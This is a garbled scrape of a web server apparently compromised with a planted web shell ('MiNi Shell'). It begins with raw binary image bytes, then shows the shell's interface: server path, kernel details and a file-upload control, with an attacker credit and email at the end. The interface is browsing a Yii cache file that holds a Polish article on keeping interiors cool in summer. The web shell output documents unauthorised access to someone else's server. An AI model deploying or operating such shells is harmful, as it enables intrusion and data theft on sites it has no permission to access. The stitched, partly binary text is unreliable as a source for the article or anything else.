JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/9d/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/9d/9d00166a52d155dc805a385794050713.bin

a:2:{i:0;a:2:{i:0;s:7919:" 
                    
                    <h3 class="title">Porady: jak walczyć z upałem we wnętrzach?</h3>
                    <p>
                        <span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong> 25-06-2013, 00:00</strong>
                                            </p>

                    <div class="lorem">
                        <table align="left" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/20972/0_upload_54a638ba91.webp" style="width:200px;height:40px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Po uparcie przeciągającej się zimie i deszczowym początku lata wreszcie nadeszły pogodne dni. Choć wakacyjna aura sprzyja wszelkim urlopowym aktywnościom, to przebywanie w budynkach biur czy domów przy temperaturach powyżej 30 stopni potrafi być równie uciążliwe co trzaskające mrozy w połączeniu z zepsutym ogrzewaniem. Co zrobić aby w komforcie spędzić we wnętrzach najgorętsze miesiące lata?</strong></p><table align="right" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/20972/0_upload_a678a721e4.webp" style="width:200px;height:140px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Rolety</strong></p><p>
	Bardzo duże ilości ciepła dostają się latem do naszych mieszkań przez okna. Dlatego absolutną podstawą w walce z upałem powinno być zainstalowanie rolet lub żaluzji przeciwsłonecznych – w szczególności dotyczy to pomieszczeń usytuowanych od południa. „<em>Najlepiej sprawdzą się rolety zainstalowane od zewnętrznej strony budynku, ponieważ zatrzymują one ciepło na zewnątrz. Jeśli już musimy zdecydować się na rolety wewnętrzne, należy upewnić się że wyposażone są one w specjalną powłokę odbijającą promienie słoneczne” – </em>tłumaczy Dariusz Olszewski, doradca klienta w firmie Internorm.</p><p>
	<strong>Klimatyzacja</strong></p><p>
	Najprostszym sposobem zapewnienia sobie komfortu termicznego podczas upałów jest inwestycja w klimatyzację. Urządzenie te potrafią szybko i skutecznie obniżyć temperaturę w mieszkaniu, umożliwiając nam jednocześnie jej regulację w dowolnym momencie.  Niestety rozwiązanie to wiąże się z kosztami – zarówno na etapie samej inwestycji (koszt przyzwoitej jakości urządzenia wraz z montażem to wydatek rzędu około 10 tysięcy złotych), jak i późniejszej eksploatacji. Należy pamiętać, że oprócz wysokiego poboru prądu, klimatyzatory wymagają regularnych (2 razy do roku) przeglądów, których zaniechanie może powodować zagrzybienie urządzenia prowadzące w konsekwencji do chorób górnych dróg oddechowych, łącznie z zapaleniem płuc.</p><table align="left" border="0" cellpadding="1" cellspacing="1" style="width:0px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/20972/0_upload_73e617be78.webp" style="width:200px;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Wentylatory</strong></p><p>
	Nieco tańszą alternatywą są wentylatory, czyli popularne wiatraki. Pobudzają one ruch powietrza, które opływając nasze ciała przynosi ulgę: choć kupno wiatraka to wydatek nieporównanie niższy w porównaniu z klimatyzatorem, ich działanie jest punktowe, a efekt uzależniony jest od ciągłej pracy, co wiąże się z wysokimi wydatkami na energię elektryczną.</p><p>
	<strong>Termomodernizacja</strong></p><p>
	Chyba każdy z nas zna przyjemne uczucie chłodu, który panuje latem w starych kamienicach. Podobnie jak średniowieczne zamki czy kościoły, nie wymagają one sztucznego obniżania temperatury ponieważ ich grube mury stanowią warstwę izolacyjną pozwalającą skutecznie odgrodzić ich wnętrza od upałów panujących na dworze. Podobny efekt jest możliwy do osiągnięcia w nowym budownictwie o znacznie cieńszych ścianach – wystarczy prawidłowo przeprowadzona termomodernizacja.</p><p>
	Polega ona na dociepleniu ścian styropianem lub wełną mineralną i wymianie starej stolarki okiennej na energooszczędną. Choć na etapie inwestycji rozwiązanie to może wydawać się drogie, to praktyka pokazuje, że - biorąc pod uwagę średni okres eksploatacji budynków - okazuje się najskuteczniejszym i najbardziej opłacalnym rozwiązaniem. <em>„Należy pamiętać, że przeprowadzając termomodernizację budynku pieczemy dwie pieczenie na jednym ogniu: na stałe pozbywamy się problemu zbyt wysokiej temperatury latem, zapobiegając jednocześnie utracie cennego ciepła zimą” </em>– podsumowuje Olszewski.</p><p>
	 </p>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wentylator" class="label label-default">wentylator</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=roleta" class="label label-default">roleta</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=termomodernizacja" class="label label-default">termomodernizacja</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=klimatyzacja" class="label label-default">klimatyzacja</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=żaluzje" class="label label-default">żaluzje</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Internorm" class="label label-default">Internorm</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=styropian" class="label label-default">styropian</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.budownictwo.org/artykuly/szczegoly/20972_porady-jak-walczyc-z-upalem-we-wnetrzach" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_20972";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"97e4b0321f913e809839db22b5f964c3";s:21:"0.93623100 1746073160";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com